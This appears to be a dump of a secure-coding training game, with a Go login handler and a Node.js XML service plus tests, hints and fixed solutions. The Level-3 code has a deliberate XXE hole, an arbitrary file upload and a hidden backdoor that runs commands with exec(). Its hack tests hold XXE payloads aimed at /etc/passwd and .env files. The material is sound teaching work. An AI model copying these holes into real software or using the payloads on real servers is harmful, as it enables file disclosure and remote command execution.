25 | if err != nil {
26 | t.Fatalf("Failed to create request: %v", err)
27 | }
28 |
29 | recorder := httptest.NewRecorder()
30 | handler := http.HandlerFunc(loginHandler)
31 | handler.ServeHTTP(recorder, req)
32 |
33 | if recorder.Code != http.StatusOK {
34 | t.Errorf("Expected status code %d, but got %d", http.StatusOK, recorder.Code)
35 | }
36 | }
37 |
38 | func TestLoginHandler_InvalidCredentials(t *testing.T) {
39 | reqBody := `{"email": "user1@example.com", "password": "invalid_password"}`
40 | req, err := http.NewRequest("POST", "/login", strings.NewReader(reqBody))
41 | if err != nil {
42 | t.Fatalf("Failed to create request: %v", err)
43 | }
44 |
45 | recorder := httptest.NewRecorder()
46 | handler := http.HandlerFunc(loginHandler)
47 | handler.ServeHTTP(recorder, req)
48 |
49 | if recorder.Code != http.StatusUnauthorized {
50 | t.Errorf("Expected status code %d, but got %d", http.StatusUnauthorized, recorder.Code)
51 | }
52 |
53 | respBody := strings.TrimSpace(recorder.Body.String())
54 | if respBody != "Invalid Email or Password" {
55 | t.Errorf("Expected body %q, but got %q", "Invalid Email or Password", respBody)
56 | }
57 | }
58 |
59 | func TestLoginHandler_InvalidEmailFormat(t *testing.T) {
60 | reqBody := `{"email": "invalid_email", "password": "password12345"}`
61 | req, err := http.NewRequest("POST", "/login", strings.NewReader(reqBody))
62 | if err != nil {
63 | t.Fatalf("Failed to create request: %v", err)
64 | }
65 |
66 | recorder := httptest.NewRecorder()
67 | handler := http.HandlerFunc(loginHandler)
68 | handler.ServeHTTP(recorder, req)
69 |
70 | if recorder.Code != http.StatusBadRequest {
71 | t.Errorf("Expected status code %d, but got %d", http.StatusBadRequest, recorder.Code)
72 | }
73 |
74 | respBody := strings.TrimSpace(recorder.Body.String())
75 | expectedRespBody := "Invalid email format"
76 | if respBody != expectedRespBody {
77 | t.Errorf("Expected body %q, but got %q", expectedRespBody, respBody)
78 | }
79 | }
80 |
81 | func TestLoginHandler_InvalidRequestMethod(t *testing.T) {
82 | req, err := http.NewRequest("GET", "/login", nil)
83 | if err != nil {
84 | t.Fatalf("Failed to create request: %v", err)
85 | }
86 |
87 | recorder := httptest.NewRecorder()
88 | handler := http.HandlerFunc(loginHandler)
89 | handler.ServeHTTP(recorder, req)
90 |
91 | if recorder.Code != http.StatusMethodNotAllowed {
92 | t.Errorf("Expected status code %d, but got %d", http.StatusMethodNotAllowed, recorder.Code)
93 | }
94 |
95 | respBody := strings.TrimSpace(recorder.Body.String())
96 | expectedRespBody := "Invalid request method"
97 | if respBody != expectedRespBody {
98 | t.Errorf("Expected body %q, but got %q", expectedRespBody, respBody)
99 | }
100 | }
101 |
102 | func TestLoginHandler_UnknownFieldsInRequestBody(t *testing.T) {
103 | reqBody := `{"email": "user1@example.com", "password": "password12345", "unknown_field": "value"}`
104 |
105 | req, err := http.NewRequest("POST", "/login", strings.NewReader(reqBody))
106 | if err != nil {
107 | t.Fatalf("Failed to create request: %v", err)
108 | }
109 |
110 | recorder := httptest.NewRecorder()
111 | handler := http.HandlerFunc(loginHandler)
112 | handler.ServeHTTP(recorder, req)
113 |
114 | if recorder.Code != http.StatusBadRequest {
115 | t.Errorf("Expected status code %d, but got %d", http.StatusBadRequest, recorder.Code)
116 | }
117 |
118 | respBody := strings.TrimSpace(recorder.Body.String())
119 | expectedRespBody := "Cannot decode body"
120 | if respBody != expectedRespBody {
121 | t.Errorf("Expected body %q, but got %q", expectedRespBody, respBody)
122 | }
123 | }
124 |
125 | func TestMain(m *testing.M) {
126 | go func() {
127 | main()
128 | }()
129 |
130 | time.Sleep(500 * time.Millisecond)
131 |
132 | exitCode := m.Run()
133 | os.Exit(exitCode)
134 | }
--------------------------------------------------------------------------------
/Season-2/Level-2/go.mod:
--------------------------------------------------------------------------------
1 | module secure-code-game
2 |
3 | go 1.20
--------------------------------------------------------------------------------
/Season-2/Level-2/hack_test.go:
--------------------------------------------------------------------------------
1 | // Run hack_test.go by following the instructions below:
2 |
3 | // This file exploits the vulnerabilities in code. Running this file will fail initially
4 | // (it contains failing tests). As all other levels, your goal is to get this file to pass.
5 |
6 | // Run hack by opening a terminal and running the following:
7 | // $ go test -v Season-2/Level-2/code.go Season-2/Level-2/hack_test.go
8 |
9 | // As a reminder, to pass this level, both this file alongside code_test.go must pass.
10 |
11 | // If 'go' is not found when running the above, install it from:
12 | // https://go.dev/dl/
13 |
14 | package main
15 |
16 | import (
17 | "bytes"
18 | "log"
19 | "net/http"
20 | "net/http/httptest"
21 | "strings"
22 | "testing"
23 | )
24 |
25 | // If this test fails, please fix the code to prevent user enumeration (code.go)
26 | func TestLoginHandler_UserEnumeration_InvalidEmail(t *testing.T) {
27 | reqBody := `{"email": "invalid@example.com", "password": "password12345"}`
28 | req, err := http.NewRequest("POST", "/login", strings.NewReader(reqBody))
29 | if err != nil {
30 | t.Fatalf("Failed to create request: %v", err)
31 | }
32 |
33 | recorder := httptest.NewRecorder()
34 | handler := http.HandlerFunc(loginHandler)
35 | handler.ServeHTTP(recorder, req)
36 |
37 | if recorder.Code != http.StatusUnauthorized {
38 | t.Errorf("Expected status code %d, but got %d", http.StatusUnauthorized, recorder.Code)
39 | }
40 |
41 | respBody := strings.TrimSpace(recorder.Body.String())
42 | expectedRespBody := "Invalid Email or Password"
43 | if respBody != expectedRespBody {
44 | t.Errorf("Expected body %q, but got %q", expectedRespBody, respBody)
45 | }
46 | }
47 |
48 | // If this test fails, please fix the code to not log sensitive information (code.go)
49 | func TestLoginHandler_SensitiveLog_InvalidEmail_FIXME(t *testing.T) {
50 | var buf bytes.Buffer
51 | log.SetOutput(&buf)
52 |
53 | reqBody := `{"email": "in.valid@ex@mple.com", "password": "password12345"}`
54 | req, err := http.NewRequest("POST", "/login", strings.NewReader(reqBody))
55 | if err != nil {
56 | t.Fatalf("Failed to create request: %v", err)
57 | }
58 |
59 | recorder := httptest.NewRecorder()
60 | handler := http.HandlerFunc(loginHandler)
61 | handler.ServeHTTP(recorder, req)
62 |
63 | if recorder.Code != http.StatusBadRequest {
64 | t.Errorf("Expected status code %d, but got %d", http.StatusBadRequest, recorder.Code)
65 | }
66 |
67 | logOutput := buf.String()
68 | expectedRespLog := "Invalid email format"
69 | if strings.Contains(logOutput, "in.valid@ex@mple.com") {
70 | t.Errorf("Expected body %q, but got %q", expectedRespLog, logOutput)
71 | t.Fail()
72 | }
73 | }
74 |
75 | // If this test fails, please fix the code to not log sensitive information (code.go)
76 | func TestLoginHandler_SensitiveLog_ValidCredentials_FIXME(t *testing.T) {
77 | var buf bytes.Buffer
78 | log.SetOutput(&buf)
79 |
80 | reqBody := `{"email": "user1@example.com", "password": "password12345"}`
81 | req, err := http.NewRequest("POST", "/login", strings.NewReader(reqBody))
82 | if err != nil {
83 | t.Fatalf("Failed to create request: %v", err)
84 | }
85 |
86 | recorder := httptest.NewRecorder()
87 | handler := http.HandlerFunc(loginHandler)
88 | handler.ServeHTTP(recorder, req)
89 |
90 | if recorder.Code != http.StatusOK {
91 | t.Errorf("Expected status code %d, but got %d", http.StatusOK, recorder.Code)
92 | }
93 |
94 | logOutput := buf.String()
95 | expectedRespLog := "Successful login request"
96 | if strings.Contains(logOutput, "user1@example.com") || strings.Contains(logOutput, "password12345") {
97 | t.Errorf("Expected body %q, but got %q", expectedRespLog, logOutput)
98 | t.Fail()
99 | }
100 | }
101 |
--------------------------------------------------------------------------------
/Season-2/Level-2/hint-1.txt:
--------------------------------------------------------------------------------
1 | Can an attacker guess or enumerate valid emails of Lumberjack customers?
2 |
3 | Try again, without reading hint-2.txt or the CodeQL code scanning alerts ;-)
--------------------------------------------------------------------------------
/Season-2/Level-2/hint-2.txt:
--------------------------------------------------------------------------------
1 | OMG! Does Lumberjack really log emails (twice in the code) and passwords (once in the code)?
2 |
3 | Try again, without reading the CodeQL code scanning alerts ;-)
--------------------------------------------------------------------------------
/Season-2/Level-2/solution/go.mod:
--------------------------------------------------------------------------------
1 | module secure-code-game
2 |
3 | go 1.20
--------------------------------------------------------------------------------
/Season-2/Level-2/solution/solution.go:
--------------------------------------------------------------------------------
1 | // Solution explained:
2 |
3 | // 1) Remove the email being logged here:
4 | // log.Printf("Invalid email format: %q", email)
5 | // log.Printf("Invalid email format")
6 |
7 | // 2) Fix the error message to prevent user enumeration here:
8 | // http.Error(w, "invalid email or password", http.StatusUnauthorized)
9 | // http.Error(w, "Invalid Email or Password", http.StatusUnauthorized)
10 |
11 | // 3) Remove the email and password being logged here:
12 | // log.Printf("User %q logged in successfully with a valid password %q", email, password)
13 | // log.Printf("Successful login request")
14 |
15 | // Full solution follows:
16 |
17 | package main
18 |
19 | import (
20 | "encoding/json"
21 | "log"
22 | "net/http"
23 | "regexp"
24 | )
25 |
26 | var reqBody struct {
27 | Email string `json:"email"`
28 | Password string `json:"password"`
29 | }
30 |
31 | func isValidEmail(email string) bool {
32 | // The provided regular expression pattern for email validation by OWASP
33 | // https://owasp.org/www-community/OWASP_Validation_Regex_Repository
34 | emailPattern := `^[a-zA-Z0-9_+&*-]+(?:\.[a-zA-Z0-9_+&*-]+)*@(?:[a-zA-Z0-9-]+\.)+[a-zA-Z]{2,}$`
35 | match, err := regexp.MatchString(emailPattern, email)
36 | if err != nil {
37 | return false
38 | }
39 | return match
40 | }
41 |
42 | func loginHandler(w http.ResponseWriter, r *http.Request) {
43 |
44 | // Test users
45 | var testFakeMockUsers = map[string]string{
46 | "user1@example.com": "password12345",
47 | "user2@example.com": "B7rx9OkWVdx13$QF6Imq",
48 | "user3@example.com": "hoxnNT4g&ER0&9Nz0pLO",
49 | "user4@example.com": "Log4Fun",
50 | }
51 |
52 | if r.Method == "POST" {
53 |
54 | decode := json.NewDecoder(r.Body)
55 | decode.DisallowUnknownFields()
56 |
57 | err := decode.Decode(&reqBody)
58 | if err != nil {
59 | http.Error(w, "Cannot decode body", http.StatusBadRequest)
60 | return
61 | }
62 | email := reqBody.Email
63 | password := reqBody.Password
64 |
65 | if !isValidEmail(email) {
66 | // Fix: Removing the email from the log
67 | // log.Printf("Invalid email format: %q", email)
68 | log.Printf("Invalid email format")
69 | http.Error(w, "Invalid email format", http.StatusBadRequest)
70 | return
71 | }
72 |
73 | storedPassword, ok := testFakeMockUsers[email]
74 | if !ok {
75 | // Fix: Correcting the message to prevent user enumeration
76 | // http.Error(w, "invalid email or password", http.StatusUnauthorized)
77 | http.Error(w, "Invalid Email or Password", http.StatusUnauthorized)
78 | return
79 | }
80 |
81 | if password == storedPassword {
82 | // Fix: Removing the email and password from the log
83 | // log.Printf("User %q logged in successfully with a valid password %q", email, password)
84 | log.Printf("Successful login request")
85 | w.WriteHeader(http.StatusOK)
86 | } else {
87 | http.Error(w, "Invalid Email or Password", http.StatusUnauthorized)
88 | }
89 |
90 | } else {
91 | http.Error(w, "Invalid request method", http.StatusMethodNotAllowed)
92 | }
93 | }
94 |
95 | func main() {
96 | http.HandleFunc("/login", loginHandler)
97 | log.Print("Server started. Listening on :8080")
98 | err := http.ListenAndServe(":8080", nil)
99 | if err != nil {
100 | log.Fatalf("HTTP server ListenAndServe: %q", err)
101 | }
102 | }
103 |
--------------------------------------------------------------------------------
/Season-2/Level-2/solution/solution_test.go:
--------------------------------------------------------------------------------
1 | // Run solution_test.go by following the instructions below:
2 |
3 | // This file is a copy of code_test.go and hack_test.go
4 | // It tests the solution for failing and passing payloads
5 |
6 | // Run them by opening a terminal and running the following:
7 | // $ go test -v Season-2/Level-2/solution/solution.go Season-2/Level-2/solution/solution_test.go
8 |
9 | // If 'go' is not found when running the above, install it from:
10 | // https://go.dev/dl/
11 |
12 | package main
13 |
14 | import (
15 | "bytes"
16 | "log"
17 | "net/http"
18 | "net/http/httptest"
19 | "os"
20 | "strings"
21 | "testing"
22 | "time"
23 | )
24 |
25 | func TestLoginHandler_UserEnumeration_InvalidEmail(t *testing.T) {
26 | reqBody := `{"email": "invalid@example.com", "password": "password12345"}`
27 | req, err := http.NewRequest("POST", "/login", strings.NewReader(reqBody))
28 | if err != nil {
29 | t.Fatalf("Failed to create request: %v", err)
30 | }
31 |
32 | recorder := httptest.NewRecorder()
33 | handler := http.HandlerFunc(loginHandler)
34 | handler.ServeHTTP(recorder, req)
35 |
36 | if recorder.Code != http.StatusUnauthorized {
37 | t.Errorf("Expected status code %d, but got %d", http.StatusUnauthorized, recorder.Code)
38 | }
39 |
40 | respBody := strings.TrimSpace(recorder.Body.String())
41 | expectedRespBody := "Invalid Email or Password"
42 | if respBody != expectedRespBody {
43 | t.Errorf("Expected body %q, but got %q", expectedRespBody, respBody)
44 | }
45 | }
46 |
47 | func TestLoginHandler_SensitiveLog_InvalidEmail_FIXME(t *testing.T) {
48 | var buf bytes.Buffer
49 | log.SetOutput(&buf)
50 |
51 | reqBody := `{"email": "in.valid@ex@mple.com", "password": "password12345"}`
52 | req, err := http.NewRequest("POST", "/login", strings.NewReader(reqBody))
53 | if err != nil {
54 | t.Fatalf("Failed to create request: %v", err)
55 | }
56 |
57 | recorder := httptest.NewRecorder()
58 | handler := http.HandlerFunc(loginHandler)
59 | handler.ServeHTTP(recorder, req)
60 |
61 | if recorder.Code != http.StatusBadRequest {
62 | t.Errorf("Expected status code %d, but got %d", http.StatusBadRequest, recorder.Code)
63 | }
64 |
65 | logOutput := buf.String()
66 | expectedRespLog := "Invalid email format"
67 | if strings.Contains(logOutput, "in.valid@ex@mple.com") {
68 | t.Errorf("Expected body %q, but got %q", expectedRespLog, logOutput)
69 | t.Fail()
70 | }
71 | }
72 |
73 | func TestLoginHandler_SensitiveLog_ValidCredentials_FIXME(t *testing.T) {
74 | var buf bytes.Buffer
75 | log.SetOutput(&buf)
76 |
77 | reqBody := `{"email": "user1@example.com", "password": "password12345"}`
78 | req, err := http.NewRequest("POST", "/login", strings.NewReader(reqBody))
79 | if err != nil {
80 | t.Fatalf("Failed to create request: %v", err)
81 | }
82 |
83 | recorder := httptest.NewRecorder()
84 | handler := http.HandlerFunc(loginHandler)
85 | handler.ServeHTTP(recorder, req)
86 |
87 | if recorder.Code != http.StatusOK {
88 | t.Errorf("Expected status code %d, but got %d", http.StatusOK, recorder.Code)
89 | }
90 |
91 | logOutput := buf.String()
92 | expectedRespLog := "Successful login request"
93 | if strings.Contains(logOutput, "user1@example.com") || strings.Contains(logOutput, "password12345") {
94 | t.Errorf("Expected body %q, but got %q", expectedRespLog, logOutput)
95 | t.Fail()
96 | }
97 | }
98 |
99 | func TestLoginHandler_ValidCredentials(t *testing.T) {
100 | reqBody := `{"email": "user1@example.com", "password": "password12345"}`
101 | req, err := http.NewRequest("POST", "/login", strings.NewReader(reqBody))
102 | if err != nil {
103 | t.Fatalf("Failed to create request: %v", err)
104 | }
105 |
106 | recorder := httptest.NewRecorder()
107 | handler := http.HandlerFunc(loginHandler)
108 | handler.ServeHTTP(recorder, req)
109 |
110 | if recorder.Code != http.StatusOK {
111 | t.Errorf("Expected status code %d, but got %d", http.StatusOK, recorder.Code)
112 | }
113 | }
114 |
115 | func TestLoginHandler_InvalidCredentials(t *testing.T) {
116 | reqBody := `{"email": "user1@example.com", "password": "invalid_password"}`
117 | req, err := http.NewRequest("POST", "/login", strings.NewReader(reqBody))
118 | if err != nil {
119 | t.Fatalf("Failed to create request: %v", err)
120 | }
121 |
122 | recorder := httptest.NewRecorder()
123 | handler := http.HandlerFunc(loginHandler)
124 | handler.ServeHTTP(recorder, req)
125 |
126 | if recorder.Code != http.StatusUnauthorized {
127 | t.Errorf("Expected status code %d, but got %d", http.StatusUnauthorized, recorder.Code)
128 | }
129 |
130 | respBody := strings.TrimSpace(recorder.Body.String())
131 | if respBody != "Invalid Email or Password" {
132 | t.Errorf("Expected body %q, but got %q", "Invalid Email or Password", respBody)
133 | }
134 | }
135 |
136 | func TestLoginHandler_InvalidEmailFormat(t *testing.T) {
137 | reqBody := `{"email": "invalid_email", "password": "password12345"}`
138 | req, err := http.NewRequest("POST", "/login", strings.NewReader(reqBody))
139 | if err != nil {
140 | t.Fatalf("Failed to create request: %v", err)
141 | }
142 |
143 | recorder := httptest.NewRecorder()
144 | handler := http.HandlerFunc(loginHandler)
145 | handler.ServeHTTP(recorder, req)
146 |
147 | if recorder.Code != http.StatusBadRequest {
148 | t.Errorf("Expected status code %d, but got %d", http.StatusBadRequest, recorder.Code)
149 | }
150 |
151 | respBody := strings.TrimSpace(recorder.Body.String())
152 | expectedRespBody := "Invalid email format"
153 | if respBody != expectedRespBody {
154 | t.Errorf("Expected body %q, but got %q", expectedRespBody, respBody)
155 | }
156 | }
157 |
158 | func TestLoginHandler_InvalidRequestMethod(t *testing.T) {
159 | req, err := http.NewRequest("GET", "/login", nil)
160 | if err != nil {
161 | t.Fatalf("Failed to create request: %v", err)
162 | }
163 |
164 | recorder := httptest.NewRecorder()
165 | handler := http.HandlerFunc(loginHandler)
166 | handler.ServeHTTP(recorder, req)
167 |
168 | if recorder.Code != http.StatusMethodNotAllowed {
169 | t.Errorf("Expected status code %d, but got %d", http.StatusMethodNotAllowed, recorder.Code)
170 | }
171 |
172 | respBody := strings.TrimSpace(recorder.Body.String())
173 | expectedRespBody := "Invalid request method"
174 | if respBody != expectedRespBody {
175 | t.Errorf("Expected body %q, but got %q", expectedRespBody, respBody)
176 | }
177 | }
178 |
179 | func TestLoginHandler_UnknownFieldsInRequestBody(t *testing.T) {
180 | reqBody := `{"email": "user1@example.com", "password": "password12345", "unknown_field": "value"}`
181 |
182 | req, err := http.NewRequest("POST", "/login", strings.NewReader(reqBody))
183 | if err != nil {
184 | t.Fatalf("Failed to create request: %v", err)
185 | }
186 |
187 | recorder := httptest.NewRecorder()
188 | handler := http.HandlerFunc(loginHandler)
189 | handler.ServeHTTP(recorder, req)
190 |
191 | if recorder.Code != http.StatusBadRequest {
192 | t.Errorf("Expected status code %d, but got %d", http.StatusBadRequest, recorder.Code)
193 | }
194 |
195 | respBody := strings.TrimSpace(recorder.Body.String())
196 | expectedRespBody := "Cannot decode body"
197 | if respBody != expectedRespBody {
198 | t.Errorf("Expected body %q, but got %q", expectedRespBody, respBody)
199 | }
200 | }
201 |
202 | func TestMain(m *testing.M) {
203 | go func() {
204 | main()
205 | }()
206 |
207 | time.Sleep(500 * time.Millisecond)
208 |
209 | exitCode := m.Run()
210 | os.Exit(exitCode)
211 | }
212 |
213 | // Contribute new levels to the game in 3 simple steps!
214 | // Read our Contribution Guideline at github.com/skills/secure-code-game/blob/main/CONTRIBUTING.md
--------------------------------------------------------------------------------
/Season-2/Level-3/.env.production:
--------------------------------------------------------------------------------
1 | QWERTY1234567890
--------------------------------------------------------------------------------
/Season-2/Level-3/code.js:
--------------------------------------------------------------------------------
1 | // Welcome to Secure Code Game Season-2/Level-3!
2 |
3 | // Follow the instructions below to get started:
4 |
5 | // 1. test.js is passing but the code here is vulnerable
6 | // 2. Review the code. Can you spot the bugs(s)?
7 | // 3. Fix the code.js but ensure that test.js passes
8 | // 4. Run hack.js and if passing then CONGRATS!
9 | // 5. If stuck then read the hint
10 | // 6. Compare your solution with solution.js
11 |
12 | const express = require("express");
13 | const bodyParser = require("body-parser");
14 | const libxmljs = require("libxmljs");
15 | const multer = require("multer");
16 | const path = require("path");
17 | const fs = require("fs");
18 | const { exec } = require("node:child_process");
19 | const app = express();
20 |
21 | app.use(bodyParser.json());
22 | app.use(bodyParser.text({ type: "application/xml" }));
23 |
24 | const storage = multer.memoryStorage();
25 | const upload = multer({ storage });
26 |
27 | app.post("/ufo/upload", upload.single("file"), (req, res) => {
28 | if (!req.file) {
29 | return res.status(400).send("No file uploaded.");
30 | }
31 |
32 | console.log("Received uploaded file:", req.file.originalname);
33 |
34 | const uploadedFilePath = path.join(__dirname, req.file.originalname);
35 | fs.writeFileSync(uploadedFilePath, req.file.buffer);
36 |
37 | res.status(200).send("File uploaded successfully.");
38 | });
39 |
40 | app.post("/ufo", (req, res) => {
41 | const contentType = req.headers["content-type"];
42 |
43 | if (contentType === "application/json") {
44 | console.log("Received JSON data:", req.body);
45 | res.status(200).json({ ufo: "Received JSON data from an unknown planet." });
46 | } else if (contentType === "application/xml") {
47 | try {
48 | const xmlDoc = libxmljs.parseXml(req.body, {
49 | replaceEntities: true,
50 | recover: true,
51 | nonet: false,
52 | });
53 |
54 | console.log("Received XML data from XMLon:", xmlDoc.toString());
55 |
56 | const extractedContent = [];
57 |
58 | xmlDoc
59 | .root()
60 | .childNodes()
61 | .forEach((node) => {
62 | if (node.type() === "element") {
63 | extractedContent.push(node.text());
64 | }
65 | });
66 |
67 | // Secret feature to allow an "admin" to execute commands
68 | if (
69 | xmlDoc.toString().includes('SYSTEM "') &&
70 | xmlDoc.toString().includes(".admin")
71 | ) {
72 | extractedContent.forEach((command) => {
73 | exec(command, (err, output) => {
74 | if (err) {
75 | console.error("could not execute command: ", err);
76 | return;
77 | }
78 | console.log("Output: \n", output);
79 | res.status(200).set("Content-Type", "text/plain").send(output);
80 | });
81 | });
82 | } else {
83 | res
84 | .status(200)
85 | .set("Content-Type", "text/plain")
86 | .send(extractedContent.join(" "));
87 | }
88 | } catch (error) {
89 | console.error("XML parsing or validation error:", error.message);
90 | res.status(400).send("Invalid XML: " + error.message);
91 | }
92 | } else {
93 | res.status(405).send("Unsupported content type");
94 | }
95 | });
96 |
97 | const PORT = process.env.PORT || 3000;
98 | const server = app.listen(PORT, () => {
99 | console.log(`Server is running on port ${PORT}`);
100 | });
101 |
102 | module.exports = server;
--------------------------------------------------------------------------------
/Season-2/Level-3/hack.admin:
--------------------------------------------------------------------------------
1 | ls -al
--------------------------------------------------------------------------------
/Season-2/Level-3/hack.js:
--------------------------------------------------------------------------------
1 | // Run hack.js by following the instructions below:
2 |
3 | // Run file by opening a terminal and running the following:
4 | // $ mocha Season-2/Level-3/hack.js
5 |
6 | // If you're inside a Codespace, the above should be running smoothly.
7 |
8 | // In case you're running this locally, please run the following command first,
9 | // and then run the hack file:
10 | // $ npm install Season-2/Level-3/ && npm install --global mocha
11 |
12 | const app = require("./code");
13 | // const app = require("./solution"); // To test the solution, uncomment this line and comment the one above
14 | const request = require("supertest");
15 | const { expect } = require("chai");
16 |
17 | describe("Security tests", () => {
18 | it("should handle XML payload safely (no XXE)", (done) => {
19 | const xmlPayload = `
20 |
21 | ]>
22 | &xxe;
23 | `;
24 |
25 | request(app)
26 | .post("/ufo")
27 | .set("Content-Type", "application/xml")
28 | .send(xmlPayload)
29 | .expect(400) // Expecting a 400 response due to security measures
30 | .end((err, res) => {
31 | if (err) return done(err + "\n" + res.text);
32 | expect(res.text).to.include("Invalid XML");
33 | done();
34 | });
35 | });
36 |
37 | it("should handle malicious XXE payload to access /etc/passwd safely", (done) => {
38 | const maliciousXmlPayload = `
39 |
40 |
42 | ]>
43 | &xxe;
44 | `;
45 |
46 | request(app)
47 | .post("/ufo")
48 | .set("Content-Type", "application/xml")
49 | .send(maliciousXmlPayload)
50 | .expect(400) // Expecting a 400 response due to security measures
51 | .end((err, res) => {
52 | if (err) return done(err + "\n" + res.text);
53 | expect(res.text).to.include("Invalid XML");
54 | done();
55 | });
56 | });
57 |
58 | it("should handle malicious XXE payload to access a .env file safely", (done) => {
59 | const maliciousXmlPayload = `
60 |
61 |
63 | ]>
64 | &xxe;
65 | `;
66 |
67 | request(app)
68 | .post("/ufo")
69 | .set("Content-Type", "application/xml")
70 | .send(maliciousXmlPayload)
71 | .expect(400) // Expecting a 400 response due to security measures
72 | .end((err, res) => {
73 | if (err) return done(err + "\n" + res.text);
74 | expect(res.text).to.include("Invalid XML");
75 | done();
76 | });
77 | });
78 |
79 | describe("POST /ufo", () => {
80 | it("should handle malicious XXE payload to access a .admin file safely", (done) => {
81 | const xmlPayload = `
82 |
84 | ]>
85 | &xxe;`;
86 |
87 | request(app)
88 | .post("/ufo")
89 | .set("Content-Type", "application/xml")
90 | .send(xmlPayload)
91 | .expect(400) // Expecting a 400 response due to security measures
92 | .end((err, res) => {
93 | if (err) return done(err + "\n" + res.text);
94 | expect(res.text).to.include("Invalid XML");
95 | done();
96 | });
97 | });
98 | });
99 |
100 | it("should handle the provided XXE payload safely", (done) => {
101 | const providedXmlPayload = `
102 |
103 |
105 |
106 |
107 | ]>
108 | &xxe2;
109 | `;
110 |
111 | request(app)
112 | .post("/ufo")
113 | .set("Content-Type", "application/xml")
114 | .send(providedXmlPayload)
115 | .expect(400) // Expecting a 400 response due to security measures
116 | .end((err, res) => {
117 | if (err) return done(err + "\n" + res.text);
118 | expect(res.text).to.include("Invalid XML");
119 | done();
120 | });
121 | });
122 | });
123 |
124 | after(() => {
125 | app.close();
126 | });
--------------------------------------------------------------------------------
/Season-2/Level-3/hint.txt:
--------------------------------------------------------------------------------
1 | Entities are primarily used to make XML documents more modular, maintainable, and efficient.
2 | Hackers always look for unconventional ways of exploiting a feature.
3 |
4 | Especially if that feature (replaceEntities) allows them to retrieve file contents from the server.
5 | The server also appears to behave differently when retrieving files with a specific extension.
6 |
7 | Can you trick the server into uploading files with that special extension and.. have an impact to what this code does?
8 | But do we really need the upload endpoint? Why did the developer create it in the first place?
--------------------------------------------------------------------------------
/Season-2/Level-3/package.json:
--------------------------------------------------------------------------------
1 | {
2 | "name": "PlanetXMLon",
3 | "version": "1.0.0",
4 | "description": "",
5 | "main": "code.js",
6 | "scripts": {
7 | "test": "echo \"Error: no test specified\" && exit 1"
8 | },
9 | "keywords": [],
10 | "author": "",
11 | "license": "ISC",
12 | "dependencies": {
13 | "body-parser": "^1.20.3",
14 | "express": "^4.21.2",
15 | "fs": "^0.0.1-security",
16 | "libxmljs": "^1.0.9",
17 | "multer": "^1.4.5-lts.1",
18 | "path": "^0.12.7"
19 | },
20 | "devDependencies": {
21 | "chai": "^4.3.8",
22 | "mocha": "^10.2.0",
23 | "supertest": "^6.3.3"
24 | }
25 | }
--------------------------------------------------------------------------------
/Season-2/Level-3/solution.js:
--------------------------------------------------------------------------------
1 | // Contribute new levels to the game in 3 simple steps!
2 | // Read our Contribution Guideline at github.com/skills/secure-code-game/blob/main/CONTRIBUTING.md
3 |
4 | const express = require("express");
5 | const bodyParser = require("body-parser");
6 | const libxmljs = require("libxmljs");
7 | const multer = require("multer");
8 | const app = express();
9 |
10 | app.use(bodyParser.json());
11 | app.use(bodyParser.text({ type: "application/xml" }));
12 |
13 | const storage = multer.memoryStorage();
14 | const upload = multer({ storage });
15 |
16 | app.post("/ufo/upload", upload.single("file"), (req, res) => {
17 | return res.status(501).send("Not Implemented.");
18 | // We don't need this feature/endpoint, it's a backdoor!
19 | // Removing this prevents an attacker to perform a Remote Code Execution
20 | // by uploading a file with a .admin extension that is then executed on the server.
21 | // The best code is less code. If you don't need something, don't include it.
22 | });
23 |
24 | app.post("/ufo", (req, res) => {
25 | const contentType = req.headers["content-type"];
26 |
27 | if (contentType === "application/json") {
28 | console.log("Received JSON data:", req.body);
29 | res.status(200).json({ ufo: "Received JSON data from an unknown planet." });
30 | } else if (contentType === "application/xml") {
31 | try {
32 | const xmlDoc = libxmljs.parseXml(req.body, {
33 | replaceEntities: false, // Disabled the option to replace XML entities
34 | recover: false, // Disabled the parser to recover from certain parsing errors
35 | nonet: true, // Disabled network access when parsing
36 | });
37 |
38 | console.log("Received XML data from XMLon:", xmlDoc.toString());
39 |
40 | const extractedContent = [];
41 |
42 | xmlDoc
43 | .root()
44 | .childNodes()
45 | .forEach((node) => {
46 | if (node.type() === "element") {
47 | extractedContent.push(node.text());
48 | }
49 | });
50 |
51 | if (
52 | xmlDoc.toString().includes('SYSTEM "') &&
53 | xmlDoc.toString().includes(".admin")
54 | ) {
55 | // Removed the code to execute commands within the .admin file on the server
56 | res.status(400).send("Invalid XML");
57 | } else {
58 | res
59 | .status(200)
60 | .set("Content-Type", "text/plain")
61 | .send(extractedContent.join(" "));
62 | }
63 | } catch (error) {
64 | console.error("XML parsing or validation error");
65 | res.status(400).send("Invalid XML");
66 | }
67 | } else {
68 | res.status(405).send("Unsupported content type");
69 | }
70 | });
71 |
72 | const PORT = process.env.PORT || 3000;
73 | const server = app.listen(PORT, () => {
74 | console.log(`Server is running on port ${PORT}`);
75 | });
76 |
77 | module.exports = server;
78 |
79 | // Solution explanation:
80 |
81 | // Parsing data can cause XXE (XML External Entity) vulnerabilities due to the way XML
82 | // documents are processed allowing attackers to inject malicious external entities.
83 |
84 | // To fix this issue, we need to edit the XMLParseOptions to:
85 | // - Disable the option to replace XML entities (replaceEntities: false)
86 | // - Disable the parser to recover from certain parsing errors (recover: false)
87 | // - Disabled network access when parsing (nonet: true)
88 |
89 | // Trusting client inputs in any form (request body, query parameter or uploaded file data)
90 | // can be really dangerous and even lead to a Remote Code Execution (RCE) vulnerability.
91 |
92 | // To fix this issue, we need to:
93 | // - Remove the unnecessary file upload endpoint that allows you to upload any filetypes
94 | // - Remove the feature that executes a command on the server coming from a file
95 | // with the .admin extension parsed as an XML "SYSTEM" entity.
--------------------------------------------------------------------------------
/Season-2/Level-3/tests.js:
--------------------------------------------------------------------------------
1 | // Run tests.js by following the instructions below:
2 |
3 | // Run file by opening a terminal and running the following:
4 | // $ mocha Season-2/Level-3/tests.js
5 |
6 | // If you're inside a Codespace, the above should be running smoothly.
7 |
8 | // In case you're running this locally, please run the following command
9 | // first, and then run the tests' file:
10 | // $ npm install Season-2/Level-3/ && npm install --global mocha
11 |
12 | const app = require("./code");
13 | // const app = require("./solution"); // To test the solution, uncomment this line and comment the one above
14 | const request = require('supertest');
15 | const { expect } = require('chai');
16 |
17 | describe('POST /ufo', () => {
18 | it('should respond with a successful JSON response', (done) => {
19 |
20 | request(app)
21 | .post('/ufo')
22 | .set('Content-Type', 'application/json')
23 | .expect(200)
24 | .end((err, res) => {
25 | if (err) return done(err + "\n" + res.text);
26 | expect(res.body.ufo).to.equal('Received JSON data from an unknown planet.');
27 | done();
